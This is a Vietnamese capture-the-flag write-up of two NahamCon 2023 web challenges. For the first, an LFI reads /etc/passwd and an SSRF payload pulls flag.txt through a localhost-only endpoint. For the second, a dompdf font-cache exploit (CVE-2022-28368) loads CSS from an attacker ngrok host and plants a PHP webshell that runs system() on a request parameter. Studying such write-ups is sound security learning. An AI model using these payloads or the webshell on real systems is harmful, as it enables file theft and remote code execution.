NamhamconCTF2023 - webx2
Namhamcon CTF 2023 Web challenge
MUSEUM
Phân tích
Hình chung giao diện vẫn như vậy không có gì thay đổi. Mình thấy giao diện có 2 chức năng chính:
- một chức năng cho phép submit gì đó, mình đoán là submit ảnh.
- xem ảnh cũ
khi xem ảnh thì mình tìm thấy lỗi LFI: http://challenge.nahamcon.com:30548/browse?artifact=angwy.jpg http://challenge.nahamcon.com:30548/browse?artifact=/./etc/passwd
oke. có thể thấy được có một user là museum ở đây. ta đã biết trước đó, ứng dụng web này sử dụng Flask. trước mắt thì mình muốn biết source code của ứng dụng web đã vì chức năng submit public vẫn còn đang bị chặn mà mình không hiểu lý do.
thử đọc flag.
có lẽ chuỗi flag.txt
đã bị chặn
mình đọc file /proc/self/cmdline
để biết lệnh đang được run.
source code ứng dụng web.
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request
app = Flask(__name__)
@app.route('/')
def index():
artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
return render_template('index.html', artifacts=artifacts)
@app.route("/public/<file_name>")
def public_sendfile(file_name):
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return "Error retrieving file", 404
return send_file(file_path)
@app.route('/browse', methods=['GET'])
def browse():
file_name = request.args.get('artifact')
if not file_name:
return "Please specify the artifact to view.", 400
artifact_error = "<h1>Artifact not found.</h1>"
if ".." in file_name:
return artifact_error, 404
if file_name[0] == '/' and file_name[1].isalpha():
return artifact_error, 404
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return artifact_error, 404
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
with open(file_path, 'rb') as f:
data = f.read()
image_types = ['jpg', 'png', 'gif', 'jpeg']
if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
is_image = True
else:
is_image = False
return render_template('view.html', data=data, filename=file_name, is_image=is_image)
@app.route('/submit')
def submit():
return render_template('submit.html')
@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
url = request.args.get('url')
if not url:
return "URL is required.", 400
response = submission_fetch(url)
return response
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
@app.route('/private_submission')
def private_submission():
if request.remote_addr != '127.0.0.1':
return redirect(url_for('submit'))
url = request.args.get('url')
file_name = request.args.get('filename')
if not url or not file_name:
return "Please specify a URL and a file name.", 400
try:
submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
except Exception as e:
return str(e), 500
return "Submission received.", 200
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=5000)
Phân tích source code
đúng như mình nghĩ chuỗi flag.txt
bị lọc.
Khi một yêu cầu GET được gửi đến ‘/private_submission_fetch’, hàm private_submission_fetch() được gọi. Đầu tiên, nó lấy giá trị của tham số ‘url’ từ yêu cầu GET bằng cách sử dụng request.args.get(‘url’). Nếu không tìm thấy giá trị ‘url’, nó sẽ trả về một thông báo lỗi “URL is required.” với mã trạng thái HTTP 400 (Bad Request).
Nếu giá trị ‘url’ được truyền vào, hàm submission_fetch() được gọi với ‘url’ làm đối số. Hàm này sử dụng thư viện urllib trong Python để tải xuống tệp từ ‘url’. Kết quả của hàm submission_fetch() được trả về từ phương thức ‘private_submission_fetch()’ và trả về cho người dùng.
Tóm lại, khi một yêu cầu GET được gửi đến ‘/private_submission_fetch’ với tham số ‘url’, ứng dụng web này sẽ tải xuống tệp từ ‘url’ và trả về nội dung tệp đó cho người dùng.
thử fetch tới burp colab: http://challenge.nahamcon.com:30299/private_submission_fetch?url=http://jj62x6bfitogrjakg8s6nmcqwh28qyen.oastify.com server trả về kết quả Internal Server Error nhưng vẫn có request tới colab nhưng điều này không giúp ta đọc được nội dung của file.
chúng ta cần kết hợp cả 2 phần này để khai thác.
hàm submission_fetch() được sử dụng để tải xuống một tệp từ một đường dẫn URL cung cấp và trả về kết quả tải xuống đó.
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
path /private_submission
cho phép chúng ta tải xuống một file tuy nhiên request phải từ localhost mới có thể thực hiện. ta có thể bypass nó bằng cách sử dụng SSRF
Solution
tổng hợp lại mình có payload như sau: mình sẽ sử dụng: http://challenge.nahamcon.com:30299/private_submission_fetch?url=http://127.0.0.1:5000/private_submission?url=file:///flag.txt%26filename=test.txt
upload thành công:
xem flag trong file test.txt
flag: flag{c3d727275bee25a40fae2d2d2fba9d70}
Stickers
Phân tích
ứng dụng web này có chức năng tạo pdf. trang chủ có một số đầu vào trông hơi lạ lạ.
mình thấy có một số vị trí có thể chèn
mình sẽ để một số tài liệu tham khảo ở đây: https://www.exploit-db.com/exploits/51270 https://github.com/rvizx/CVE-2022-28368
run PoC để lấy shell là được :100: bạn cũng có thể đọc lại cách phân tích CVE này ở nguồn khác để hiểu chi tiết.
Solution
endpoint là một trong 3 cái Qty, chèn vào cái nào cũng được.
tạo file exploit.css như này, thay đổi url phù hợp với contrainer của bạn:
thêm payload php vào cuối file exploit_font.php để tạo webshell.
Như này: <?php system("$_GET['cmd']"); ?>
tạo server web font:
php -S 0.0.0.0:9001
chèn payload để tải font css cho trình tạo pdf:
<link rel=stylesheet href='https://282e-104-28-254-74.ngrok-free.app/exploit.css'>
fullpaylod: http://challenge.nahamcon.com:31335/quote.php?organisation=test&email=admin%40gmail.com&small=4%3Clink%20rel=stylesheet%20href=%27https://282e-104-28-254-74.ngrok-free.app/exploit.css%27%3E&medium=4&large=4
tên file sẽ được hash bằng md5 và nối với tên font css và weight css như sau:
exploitfont_normal_<linkcsshash>
tạo hash:
echo -n http://challenge.nahamcon.com:31335//exploit_font.php | md5sum
=> 068578d3364c1228150e9c8f8e7b8291
cuối cùng truy cập link: /dompdf/lib/fonts/exploitfont_normal_068578d3364c1228150e9c8f8e7b8291.php
ta sẽ có được webshell
Comments